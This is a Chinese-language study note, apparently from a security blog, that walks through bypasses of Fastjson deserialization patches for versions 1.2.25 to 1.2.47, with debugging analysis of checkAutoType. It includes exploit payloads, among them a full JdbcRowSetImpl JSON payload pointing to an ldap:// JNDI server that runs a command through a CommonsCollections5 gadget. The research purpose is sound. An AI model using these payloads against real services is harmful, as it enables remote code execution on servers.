
前言
回顾
回顾一下fastjson反序列化利用
漏洞原理:fastjson 在反序列化的时候会去找我们在 @type
中规定的类是哪个类,然后在反序列化的时候会自动调用这些 setter 与 getter 方法的调用
1.2.24版本反序列化利用,小小画了个图
正题
这篇笔记讲1.2.25版本及以后的各版本补丁绕过,了解绕过之前,我们需要知道官方是怎么打补丁的
历史补丁版本绕过的利用,都必须开启AutoTypeSupport才能成功
Fastjson1.2.25版本修复细节
checkAutoType()方法
上图是1.2.24版本,下图是1.2.25版本
可以看到修补方案就是将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass
替换为checkAutoType()函数
现在看一下checkAutoType()方法的逻辑
1 | public Class<?> checkAutoType(String typeName, Class<?> expectClass) { |
checkAutoType()大概逻辑就是使用黑白名单的方式对反序列化的类型做过滤,acceptList是白名单(默认为空,可手动添加),denyList为黑名单(默认不为空,在这个类最前面可以看到一堆)
可以看到denyList有这么多,把一下常见利用链用到的包都给ban了
1 | this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(","); |
然后现在使用之前1.2.24版本的payload会报错not support
调试可以看到程序走到了这里,autoTypeSupport
也是假的
autoTypeSupport
autoTypeSupport是
checkAutoType()
函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()
函数的某些代码逻辑起到开关的作用。默认情况下autoTypeSupport为False,将其设置为True有两种方法:
- JVM启动参数:
-Dfastjson.parser.autoTypeSupport=true
- 代码中设置:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);
AutoType白名单设置方法:
- JVM启动参数:
-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
- 代码中设置:
ParserConfig.getGlobalInstance().addAccept("com.xx.a");
- 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:
fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.
之前就有遇到这个,1.2.24用TemplatesImpl的链子,当时我还问了下ai为什么要设置这个参数
总结补丁手段
1.2.25版本开始不直接用loadClass方法,是用来checkAutoType()方法,里面包括黑名单白名单检测,用这个方法来防御fastjson反序列化漏洞,所以后面版本针对fastjson的反序列化漏洞都是针对黑名单的绕过来实现攻击。
寻找可用利用链
前面我们看到fastjson把黑名单以明文的形式存储,后面为了防止安全研究者对其进行研究,提高漏洞利用门槛改成了哈希形式的黑名单
有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist
1.2.25 - 1.2.41 补丁绕过
现在把fastjson版本调成1.2.41,再运行前面的exp,看看效果
可以看到就是不支持这个类
绕过手法就是尝试在 com.sun.rowset.JdbcRowSetImpl
前面加一个 L,结尾加上 ;
绕过
同时需要开启 AutoTypeSupport
EXP
1 | import com.alibaba.fastjson.JSON; |
成功弹计算机了
调试分析
断点打在ParserConfig的checkAutoType()方法,进来走到这里,可以看到有黑名单的循环判断,我们这时候的typeName都不符合,不会进到里面被抛异常
比较重要的是来到下面有一个TypeUtils.loadClass()
,跟进去
有个语句判断className类名是不是以L
开头以;
结尾,如果是就把类名这两个元素删掉,处理后变成com.sun.rowset.JdbcRowSetImpl
,后面就可以继续变成恶意代码给我们使用了
前面1.2.24版本有三种利用链,用这个绕过方式我尝试了另外两种方式,TemplatesImpl
是可以的,BasicDataSource
不行,调试了一下发现后面有一个判断
DataSource.class.isAssignableFrom(clazz)
是用来判断目标类clazz
是否继承自javax.sql.DataSource
接口,而org.apache.tomcat.dbcp.dbcp2.BasicDataSource这个类就刚好符合条件,最后抛出异常,没有弹计算器。
1.2.42版本补丁绕过
这次的paylaod变成了LLcom.sun.rowset.JdbcRowSetImpl;;
,在类名前后加更多的L和;
修复过程中只考虑到了
Lcom.sun.rowset.JdbcRowSetImpl;
情况,并对其中的类名进行了一次提取,并将提取后的结果取hashCode
进行判断,导致LLcom.sun.rowset.JdbcRowSetImpl;;
或者前后加更多的L和;
也能进行绕过
看一下代码
走到这个地方发现多了一个判断然后去除前后L和;的情况,提取出className是com.sun.rowset.JdbcRowSetImpl就走到羡慕的黑名单判断,但只有一次
所以我们加多对L和;就能绕过这个,继续走到后面的TypeUtils.loadClass
这里剔除完一对L和;后会继续递归调用自己类的loadClass方法,也就是再走一次剔除,直到最后没有L和;
利用这个特点和前面只有一次剔除,我们可以加多对L和;绕过1.2.42版本的补丁
1.2.43版本补丁绕过
修复思路
这次给两个L和;,走到这里发现就会抛异常了
两个if的大概思路就是先判断类名开头结尾是不是分别是L和;如果是第二个if判断第二个字符如果也是L,那就异常
payload
现在paylaod变成
1 | String payload ="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1/HfNbfkLxmM/CommonsCollections5/Exec/eyJjbWQiOiJvcGVuIC1hIGNhbGN1bGF0b3IifQ==\",\"autoCommit\":\"true\" }"; |
重点在"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{
如果payload只是单纯写"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"
会报错
1 | Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : { ... |
期待在第一个逗号前面也就是第42个字符有一个[,我们添加之后继续报错
1 | Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43 |
期待在第43位置有一个{,现在添加之后就能正常弹计算器了
调试分析
如果我们的payload是[com.sun.rowset.JdbcRowSetImpl
,使用[自然绕过了前面对两个LL的检测,后面进入到TypeUtils.loadClass()
里面
有一个判断是否以”[
“开头的if判断语句,是的话就提取其中的类名,并调用Array.newInstance().getClass()
来获取并返回类:
解析完返回的类名是[com.sun.rowset.JdbcRowSetImpl
,通过checkAutoType()
函数检测之后,继续走,会进入正常的反序列化流程
其中会提取数组中的成员类型并使用parser.parseArray
进行解析
当token不是14时,会抛出异常
满足这些判断就能顺利走到反序列化里面了
补充:
当前token不为12 或者 16时,即会判断是否为
"{"
或者","
,会在进入if流程后抛出异常,下面有一个char和token的对照关系;
1 | if (token != 12 && token != 16) { |
因此依次满足上面的条件即可触发payload,有个问题是为什么
"{"
在逗号前后都能触发,解析过程中判断到当前字符为16,也就是逗号时,会直接跳过该字符,进入下一个字符的处理,因此在"["
后无论是先写逗号还是"{"
,最终都是解析"{"
字符
1 | if (this.lexer.isEnabled(Feature.AllowArbitraryCommas)) { |
1.2.44修复方式
修复方式就是提取第一个字符判断是不是[
commit中还对之前Lxxx;
类型payload的检测代码进行了合并,先检测第一个字符hashCode h1,为[
抛出异常;再将其跟;
做hashCode判断是否为之前的绕过。
1.2.45版本补丁绕过
EXP
利用前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本
需要多加一个依赖
1 | <dependency> |
payload是,ldap和rmi都能用
1 | { |
前面已经知道[绕过会被ban,后面找到了新的类org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
,根据黑名单hash对照表,这个类1.2.46版本后才被ban,现在还能用
调试分析
由于payload中设置了properties属性值,且JndiDataSourceFactory.setProperties()
方法满足之前说的Fastjson会自动调用的setter
方法的条件,因此可被利用来进行Fastjson反序列化漏洞的利用。
直接看到这个类里面的setProperties()
方法
看到我们熟悉的lookup(),然后data_source
可控,所以我们可以借此进行jndi注入
所以后来这个类在1.2.46版本就被加入黑名单ban了
1.2.47版本补丁绕过
setAutoTypeSupport为True 或者 False 都可以触发
- 利用条件
- 需要 1.2.33 ≤ Fastjson版本 ≤ 1.2.47,是否开启
setAutoTypeSupport
都能成功- 需要 1.2.25 ≤ Fastjson版本 ≤ 1.2.32,关闭
setAutoTypeSupport
能成功
payload
1 | String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," |
调试分析
现在是1.2.47版本 开启AutoTypeSupport